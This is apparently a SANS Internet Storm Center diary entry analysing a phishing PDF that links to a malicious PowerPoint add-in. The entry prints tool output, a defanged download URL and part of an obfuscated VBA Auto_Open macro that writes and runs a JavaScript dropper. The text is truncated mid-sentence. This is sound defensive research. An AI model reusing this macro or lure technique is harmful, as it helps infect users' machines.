# SANS ISC: Simple PDF Linking to Malicious Content - SANS Internet Storm Center SANS Site Network Current Site SANS Internet Storm Center Other SANS Sites Help Graduate Degree Programs Security Training Security Certification Security Awareness Training Penetration Testing Industrial Control Systems Cyber Defense Foundations DFIR Software Security Government OnSite Training SANS ISC InfoSec Forums **isc.sans.edu/forums/diary/Simple+PDF+Linking+to+Malicious+Content/28582/** ## ← Next Thread Previous Thread → Simple PDF Linking to Malicious Content Last week, I found an interesting piece of phishing based on a PDF file. Today, most of the PDF files that are delivered to end-user are not malicio common because they are (usually) not blocked by common filters at the perimeter. The PDF file (SHA256:f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01) has a VT score of 1/58 and display a nice mes The PDF is obfuscated in a classic way, all objects are embedded in an Object Stream: ``` remnux@remnux:/MalwareZoo/20220425$ pdfid.py f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -n PDFiD 0.2.8 foo.pdf PDF Header: %PDF-1.5 obj 25 endobj 25 stream 23 endstream 23 startxref 1 /ObjStm 1 /AcroForm 1 The file has a /URI keyword that points to the malicious URL: remnux@remnux://MalwareZoo/20220425$ pdf-parser.py -O f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -k /URI /URI (hxxps://www[.]mediafire[.]com/file/fwxhm1vylsg3nl3/7.ppam/file) To visit the malicious URL, the victim has to click on the picture displayed above, this is made in the PDF file via the /Annot object: ``` ----- ``` obj 22 0 Containing /ObjStm: 1 0 Type: /Annot Referencing: 27 0 R, 28 0 R << /Type /Annot /Subtype /Link /A 27 0 R /Rect [1 0 613 791] /BS 28 0 R >> remnux@remnux://MalwareZoo/20220425$ pdf-parser.py -O f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -o 27 obj 27 0 Containing /ObjStm: 1 0 Type: /Action Referencing: << /Type /Action /S /URI /URI (hxxps://www[.]mediafire[.]com/file/fwxhm1vylsg3nl3/7.ppam/file) >> ## When you visit the URL, you fill fetch a malicious PowerPoint file: 7.ppam (SHA256:2198abfdf736586893afe8e15153369299d3164e036920ff19c8 remnux@remnux:/MalwareZoo/20220425$ zipdump.py 7.ppam Index Filename Encrypted Timestamp 1 [Content_Types].xml 0 2022-04-06 13:56:56 2 _rels/.rels 0 1980-01-01 00:00:00 3 ppt/_rels/presentation.xml.rels 0 2022-04-06 13:57:10 4 ppt/presentation.xml 0 1980-01-01 00:00:00 5 ppt/slideLayouts/_rels/slideLayout5.xml.rels 0 1980-01-01 00:00:00 6 ppt/slideLayouts/_rels/slideLayout8.xml.rels 0 1980-01-01 00:00:00 7 ppt/slideLayouts/_rels/slideLayout9.xml.rels 0 1980-01-01 00:00:00 8 ppt/slideLayouts/_rels/slideLayout10.xml.rels 0 1980-01-01 00:00:00 9 ppt/slideLayouts/_rels/slideLayout11.xml.rels 0 1980-01-01 00:00:00 10 ppt/slideLayouts/_rels/slideLayout7.xml.rels 0 1980-01-01 00:00:00 11 ppt/slideLayouts/_rels/slideLayout6.xml.rels 0 1980-01-01 00:00:00 12 ppt/slideMasters/_rels/slideMaster1.xml.rels 0 1980-01-01 00:00:00 13 ppt/slideLayouts/_rels/slideLayout1.xml.rels 0 1980-01-01 00:00:00 14 ppt/slideLayouts/_rels/slideLayout2.xml.rels 0 1980-01-01 00:00:00 15 ppt/slideLayouts/_rels/slideLayout3.xml.rels 0 1980-01-01 00:00:00 16 ppt/slideLayouts/slideLayout11.xml 0 1980-01-01 00:00:00 17 ppt/slideLayouts/slideLayout10.xml 0 1980-01-01 00:00:00 18 ppt/slideLayouts/slideLayout9.xml 0 1980-01-01 00:00:00 19 ppt/slideMasters/slideMaster1.xml 0 1980-01-01 00:00:00 20 ppt/slideLayouts/slideLayout1.xml 0 1980-01-01 00:00:00 21 ppt/slideLayouts/slideLayout2.xml 0 1980-01-01 00:00:00 22 ppt/slideLayouts/slideLayout3.xml 0 1980-01-01 00:00:00 23 ppt/slideLayouts/slideLayout4.xml 0 1980-01-01 00:00:00 24 ppt/slideLayouts/slideLayout5.xml 0 1980-01-01 00:00:00 25 ppt/slideLayouts/slideLayout6.xml 0 1980-01-01 00:00:00 26 ppt/slideLayouts/slideLayout7.xml 0 1980-01-01 00:00:00 27 ppt/slideLayouts/slideLayout8.xml 0 1980-01-01 00:00:00 28 ppt/slideLayouts/_rels/slideLayout4.xml.rels 0 1980-01-01 00:00:00 29 ppt/theme/theme1.xml 0 1980-01-01 00:00:00 30 ppt/ksjksj.~text~TEXT~TEXT~ 0 1980-01-01 00:00:00 31 docProps/thumbnail.jpeg 0 2022-02-07 22:50:16 32 ppt/presProps.xml 0 1980-01-01 00:00:00 33 ppt/tableStyles.xml 0 1980-01-01 00:00:00 34 ppt/viewProps.xml 0 1980-01-01 00:00:00 35 docProps/app.xml 0 1980-01-01 00:00:00 36 docProps/core.xml 0 1980-01-01 00:00:00 The stream ID 30 looks the most interesting. It contains indeed a macro: ``` ----- ``` 1: 516 'PROJECT' 2: 26 'PROJECTwm' 3: M 5457 'VBA/Module1' 4: 2463 'VBA/_VBA_PROJECT' 5: 529 'VBA/dir' remnux@remnux:/MalwareZoo/20220425$ zipdump.py 7.ppam -s 30 -d | oledump.py -s 3 -v Attribute VB_Name = "Module1" Sub Auto_Open() :::::: MsgBox "error! Re-install office":::::: Dim koaksdokasd As String:::::: koakosdk = "!@##!!@%^@^^n&&$%#g&&$%#tcar:":::::: koakos askjdjawjkdokawod = Replace(askjdjawjkdokawod, "askjdjawjkdokawod", "W"):::::: askjdjawjkdokawod = Replace(askjdjawjkdokawod, "5", "i" :::::: koaksdokasd = "C:\Users\Public\update.js":::::: Close:::::: Open koaksdokasd For Output As #1:::::: Print #1, "function _0x ['SpawnInstance_','30XpBDce','C:\x5cProgramData\x5cddond.com','2WjTghW','Win32_ProcessStartup','3551556ACfgms','CopyFile','1902954vylc S'];" :::::: Print #1, "_0x98da=function(){return _0x4db6f6;};return _0x98da();}var _0x550d40=_0x2a39;(function(_0x3935a0,_0x1de856){var _0x parseInt(_0x57a7a7(0x1ac))/0x5)+parseInt(_0x57a7a7(0x1a8))/0x6*(parseInt(_0x57a7a7(0x1aa))/0x7)+parseInt(_0x57a7a7(0x19c))/0x8*(parseI :::::: Print #1, "if(_0x2a1df1===_0x1de856)break;else _0xff11fe['push'](_0xff11fe['shift']());}catch(_0x589b6a){_0xff11fe['push'](_0xf w32ps=GetObject(_0x550d40(0x1ad))[_0x550d40(0x1a9)](_0x550d40(0x1a5));w32ps[_0x550d40(0x1a1)](),w32ps[_0x550d40(0x1ab)]=0x0;var rtrnCo . _ Get(askjdjawjkdokawod) _ . _ Create ("wscript C:\Users\Public\update.js") End Sub ## No need to deobfuscate the macro completely, we see interesting strings (in red). The next payload is downloaded and then executed through ms